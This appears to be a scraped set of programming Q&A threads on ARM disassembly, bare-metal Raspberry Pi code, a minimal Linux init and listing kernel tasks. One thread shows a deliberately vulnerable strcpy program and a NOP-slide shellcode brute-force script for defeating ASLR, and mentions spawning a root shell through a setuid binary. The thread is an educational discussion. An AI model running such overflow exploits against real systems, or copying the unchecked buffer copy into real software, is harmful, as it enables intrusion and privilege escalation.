ARM Instruction Decoding - c

I need to decode ARM(ARM926EJ) instructions in C. I have the 32 bit instruction in hex. I want to decode and get the opcode operands. Anyone know any good material for this.
N.B. I looked into QEMU translate.c file. But its so complex and doesn't even tell why is doing what.

Assuming you don't want/can't use a program to do it for you, you can refer to the ARM Reference Manual.
There are sections in it that are dedicated to instruction encoding.

I use a script which combines gas and objdump to do this for me. I'm sure there are better ways but this works well for me.
#!/bin/sh
cat > /tmp/foo.S <<EOF
.text
.arm
.word $1
EOF
arm-linux-gnueabi-as /tmp/foo.S -o /tmp/foo.o
echo "ARM: " `arm-linux-gnueabi-objdump -d /tmp/foo.o | grep " 0:"`
echo "Thumb:" `arm-linux-gnueabi-objdump --disassembler-options=force-thumb -d /tmp/foo.o | grep " 0:"`
rm -rf /tmp/foo.o /tmp/foo.S

Related

defining code offset for objdump disassembler in ARMv8

I have a file containing ARM v8 binary code. I want to disassemble the file and get the actual assembly code contained in it.
Assuming the file name is tmp.o I run:
/opt/linaro/A64-tools/bin/aarch64-linux-gnu-objdump -b binary -m AARCH64 -D tmp.o
This gives me the correct disassembly. However, the offset for branch instructions assumes that this code sits in address 0x00000000.
If I know that the code will sit in address 0x12345678 in memory:
Is there a way to tell objdump to use this address as the start address?
If not, can I add some header to the binary file that says something like:
. = 0x12345678
Thanks in Advance..
A quick poke around reveals objdump's --adjust-vma option, which seems to do exactly this.
Using the first raw binary which came to hand:
$ aarch64-linux-gnu-objdump -b binary -m aarch64 -D arch/arm64/boot/Image
arch/arm64/boot/Image: file format binary
Disassembly of section .data:
0000000000000000 <.data>:
0: 91005a4d add x13, x18, #0x16
4: 140003ff b 0x1000
...
vs.
$ aarch64-linux-gnu-objdump -b binary -m aarch64 --adjust-vma=0x12345678 -D arch/arm64/boot/Image
arch/arm64/boot/Image: file format binary
Disassembly of section .data:
0000000012345678 <.data>:
12345678: 91005a4d add x13, x18, #0x16
1234567c: 140003ff b 0x12346678
...

How to run a C program with no OS on the Raspberry Pi?

I'd like to experiment using the Raspberry Pi for some different low level embedded applications. The only problem is that, unlike the AVR and PIC microcontroller boards available, Raspberry Pi typically runs an OS (like Raspbian) that distributes CPU time across all running programs and makes it impractical for certain real time applications.
I've recently learned that, assuming you have a bootloader like GRUB installed, running a C program on x86 (in the form of a kernel) takes very little actual setup, just an assembly program to call the main function and the actual C code.
Is there a way to achieve this with a Raspberry Pi?
It'd be a great way to learn about low level ARM programming, and it already has a few complex peripherals to mess around with (USB, Ethernet, etc.)
Fully automated minimal bare metal blinker example
Tested on Ubuntu 16.04 host, Raspberry Pi 2.
https://github.com/dwelch67/raspberrypi is the most comprehensive example set I've seen to date (previously mentioned on this now deleted answer), but this is a minimal easy to setup hello world to get you started quickly.
Usage:
Insert SD card on host
Make the image:
./make.sh /dev/mmblck0 p1
Where:
/dev/mmblck0 is the device of the SD card
p1 is the first partition of the device (/dev/mmblck0p1)
Inset SD card on PI
Turn power off and on
GitHub upstream: https://github.com/cirosantilli/raspberry-pi-bare-metal-blinker/tree/d20f0337189641824b3ad5e4a688aa91e13fd764
start.S
.global _start
_start:
mov sp, #0x8000
bl main
hang:
b hang
main.c
#include <stdint.h>
/* This is bad. Anything remotely serious should use timers
* provided by the board. But this makes the code simpler. */
#define BUSY_WAIT __asm__ __volatile__("")
#define BUSY_WAIT_N 0x100000
int main( void ) {
uint32_t i;
/* At the low level, everything is done by writing to magic memory addresses.
The device tree files (dtb / dts), which are provided by hardware vendors,
tell the Linux kernel about those magic values. */
volatile uint32_t * const GPFSEL4 = (uint32_t *)0x3F200010;
volatile uint32_t * const GPFSEL3 = (uint32_t *)0x3F20000C;
volatile uint32_t * const GPSET1 = (uint32_t *)0x3F200020;
volatile uint32_t * const GPCLR1 = (uint32_t *)0x3F20002C;
*GPFSEL4 = (*GPFSEL4 & ~(7 << 21)) | (1 << 21);
*GPFSEL3 = (*GPFSEL3 & ~(7 << 15)) | (1 << 15);
while (1) {
*GPSET1 = 1 << (47 - 32);
*GPCLR1 = 1 << (35 - 32);
for (i = 0; i < BUSY_WAIT_N; ++i) { BUSY_WAIT; }
*GPCLR1 = 1 << (47 - 32);
*GPSET1 = 1 << (35 - 32);
for (i = 0; i < BUSY_WAIT_N; ++i) { BUSY_WAIT; }
}
}
ldscript
MEMORY
{
ram : ORIGIN = 0x8000, LENGTH = 0x10000
}
SECTIONS
{
.text : { *(.text*) } > ram
.bss : { *(.bss*) } > ram
}
make.sh
#!/usr/bin/env bash
set -e
dev="${1:-/dev/mmcblk0}"
part="${2:-p1}"
part_dev="${dev}${part}"
mnt='/mnt/rpi'
sudo apt-get install binutils-arm-none-eabi gcc-arm-none-eabi
# Generate kernel7.img
arm-none-eabi-as start.S -o start.o
arm-none-eabi-gcc -Wall -Werror -O2 -nostdlib -nostartfiles -ffreestanding -c main.c -o main.o
arm-none-eabi-ld start.o main.o -T ldscript -o main.elf
# Get the raw assembly out of the generated elf file.
arm-none-eabi-objcopy main.elf -O binary kernel7.img
# Get the firmware. Those are just magic blobs, likely compiled
# from some Broadcom proprietary C code which we cannot access.
wget -O bootcode.bin https://github.com/raspberrypi/firmware/blob/597c662a613df1144a6bc43e5f4505d83bd748ca/boot/bootcode.bin?raw=true
wget -O start.elf https://github.com/raspberrypi/firmware/blob/597c662a613df1144a6bc43e5f4505d83bd748ca/boot/start.elf?raw=true
# Prepare the filesystem.
sudo umount "$part_dev"
echo 'start=2048, type=c' | sudo sfdisk "$dev"
sudo mkfs.vfat "$part_dev"
sudo mkdir -p "$mnt"
sudo mount "${part_dev}" "$mnt"
sudo cp kernel7.img bootcode.bin start.elf "$mnt"
# Cleanup.
sync
sudo umount "$mnt"
QEMU friendly bare metal examples
The problem with the blinker is that it is hard to observe LEDs in QEMU: https://raspberrypi.stackexchange.com/questions/56373/is-it-possible-to-get-the-state-of-the-leds-and-gpios-in-a-qemu-emulation-like-t
Here I describe some bare metal QEMU setups that may be of interest: How to make bare metal ARM programs and run them on QEMU? Writing to the UART is the easiest way to get output out from QEMU.
How well QEMU simulates the Raspberry Pi can be partially inferred from: How to emulate Raspberry Pi Raspbian with QEMU? Since even the Linux terminal shows up, it is likely that your baremetal stuff will also work.
Bonus
Here is an x86 example for the curious: How to run a program without an operating system?
While bare metal is possible on the Pi, I would avoid it since Linux is getting so lightweight and handles a whole bunch of stuff for you.
Here's a tutorial to get you started if you want to still learn bare metal stuff: http://www.valvers.com/open-software/raspberry-pi/step01-bare-metal-programming-in-cpt1/
With all that said, I would just load up your favorite embedded linux distro (RT patched might be preferred based on your requirements) and call it good.
https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/ is a great tutorial, and as they'll tell you the best quick and dirty way to run code on bare metal is to hijack a linux distro, to do that, just compile to kernel.img (with the appropriate architecture options) and use it to replace the existing one in the linux distro
for just this section of the tutorial you can go to:
https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/ok01.html#pitime
The Pi may be a bit suboptimal for what you are wanting to do, since the SoC design is such that the ARM CPU is a second-class citizen - meaning there are some hoops to jump through to get a bare metal program running on it.
However, you could cheat a bit and use the U-Boot API to give you access to some of the features U-Boot provides but be able to add your own features on the side.

Want to build bare Linux system that has only a kernel and one binary

I want to build a dedicated Linux system that only ever runs one binary program. This program takes control of the screen via the OpenGL driver and displays patterns. There needs to be keyboard input as well to configure the patterns. Since running this one program will be the sole purpose of the machine, I don't need any GUI, networking, etc. Also, I probably don't need any process scheduling in the kernel since only one process will ever run.
Is it possible to replace /sbin/init with my own binary to achieve this? After the kernel loads, it would then immediately execute my own binary, and that would run the entire time the machine was on. Basically, I want to emulate the way a microcontroller works, but with the benefit of being able to use an x86 CPU with different hardware devices and drivers.
Minimal init hello world program step-by-step
Compile a hello world without any dependencies that ends in an infinite loop. init.S:
.global _start
_start:
mov $1, %rax
mov $1, %rdi
mov $message, %rsi
mov $message_len, %rdx
syscall
jmp .
message: .ascii "FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR\n"
.equ message_len, . - message
We cannot use sys_exit, or else the kernel panics.
Then:
mkdir d
as --64 -o init.o init.S
ld -o init d/init.o
cd d
find . | cpio -o -H newc | gzip > ../rootfs.cpio.gz
ROOTFS_PATH="$(pwd)/../rootfs.cpio.gz"
This creates a filesystem with our hello world at /init, which is the first userland program that the kernel will run. We could also have added more files to d/ and they would be accessible from the /init program when the kernel runs.
Then cd into the Linux kernel tree, build is as usual, and run it in QEMU:
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
cd linux
git checkout v4.9
make mrproper
make defconfig
make -j"$(nproc)"
qemu-system-x86_64 -kernel arch/x86/boot/bzImage -initrd "$ROOTFS_PATH"
And you should see a line:
FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR
on the emulator screen! Note that it is not the last line, so you have to look a bit further up.
You can also use C programs if you link them statically:
#include <stdio.h>
#include <unistd.h>
int main() {
printf("FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR FOOBAR\n");
sleep(0xFFFFFFFF);
return 0;
}
with:
gcc -static init.c -o init
You can run on real hardware with a USB on /dev/sdX and:
make isoimage FDINITRD="$ROOTFS_PATH"
sudo dd if=arch/x86/boot/image.iso of=/dev/sdX
Great source on this subject: http://landley.net/writing/rootfs-howto.html It also explains how to use gen_initramfs_list.sh, which is a script from the Linux kernel source tree to help automate the process.
Next step: setup BusyBox so you can interact with the system through a shell. Buildroot is a great way to do it.
Tested on Ubuntu 16.10, QEMU 2.6.1.
It might be possible to replace /sbin/init by your program, but you should be aware that process 1 has some specific duties. So I think it is not advisable to replace it.
Remember that a Linux kernel can also start some processes magically, outside of the usual fork from a process inherited by the init process. I'm thinking of things like /sbin/modprobe or /sbin/hotplug etc.
Also, udev (or systemd) have some special roles. On some systems, fan control was related to such things (I really forgot the details). If unlucky, you could burn your hardware if fan is not working well (but AFAIK this is no more true on recent hardware).
By seeking with string the vmlinux in a recent 3.15.3 kernel, I find that it knows about:
/bin/init
/bin/sh
/sbin/request-key
/sbin/tomoyo-init
/sbin/modprobe
/sbin/poweroff
/sbin/hotplug
I would recommend instead keeping some existing init program, and configure it to run only your program.
You can put your program to initrd, and then run it from initrd's init.
Simply use a boot paramter eg) init=/bin/bash
init is the process 1, used by kernel to start user space, which as a few specific duties like reaping children periodical to clean out zombies. Sounds like you don't even need that.
Linux Boot parameters you should know

ASLR brute force

I just read about Address Space Layout Randomization and I tried a very simple script to try to brute force it. Here is the program I used to test a few things.
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}
I compiled it with this command:
gcc -g -fno-stack-protector -o vul vul.c
I made sure ASLR was enabled:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
Then, I came up with this simple script:
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done
The format is
return address many times | 64KB NOP slide | shellcode that runs exit(1)
After running this script for a few seconds it exits with error code 1 as I wanted it to. I also tried other shellcodes that call execv("/bin/sh", ...) and I was successful as well.
I find it strange that it's possible to create such a long NOP slide even after the return address. I thought ASLR was more effective, did I miss something? Is it because the address space is too small?
EDIT: I did some additional research and here is what I found:
I asked a friend to run this code using -m32 -z execstack on his 64b computer and after changing the return address a bit, he had the same results.
Even though I did not use -z execstack, I managed to execute the shellcode. I made sure of that by using different shellcodes which all did what they were supposed to do (even the well know scenario chown root ./vul, chmod +s ./vul, shellcode that runs setreuid(0, 0) then execv("/bin/sh", ...) and finally whoami that returns 'root' in the spawned shell).
That is quite strange since execstack -q ./vul tels me the executable stack flag bit is not set. Does anyone have an idea why?
First of all, I'm a bit surprised that you do not need to pass the option -z execstack to the compiler to get the shellcode to execute the exit(1).
Moreover, I guess you are on a 32bits machine as you did not pass the option -m32 to gcc in order to get 32bits code.
Finally, I did run your program without success (I waited way more than a few seconds).
So, I'm a bit doubtful about your conclusion (except if you are running a very peculiar Linux system or may have been lucky).
Anyway, there are two main things that you have not mentionned:
Having a bug that offer an unlimited exploitation windows is quite rare.
Most of the modern systems run on amd64 (64bits) processors, which lower drastically the probability to hit the nop-zone.
You may take a look at the section "ASLR Effectiveness" on the ASLR's Wikipedia page.

What is the most general way to list all the kernel tasks in a linux system?

I am trying to figure out the best way to write a cross platform kernel code/shell script to list all the kernel task {(pid/tid , name)} in a linux dis. machine. it should be the most general possible. I tried to use ps -T but it is seems to be inaccurate and some platform don't support it in their busybox. Any suggestions?
If you want to distinguish user processes from kernel tasks, then this is a previous discussion on the subject: Identifying kernel threads
My answer to that question does not require any tools, it simply reads the contents of /proc//stat, so it should work on any distribution.
You could try
ps -e -o pgrp= -o pid= -o cmd= | sed -ne 's/^ *0 *// p'
although it assumes all kernel tasks belong to process group 0.

Resources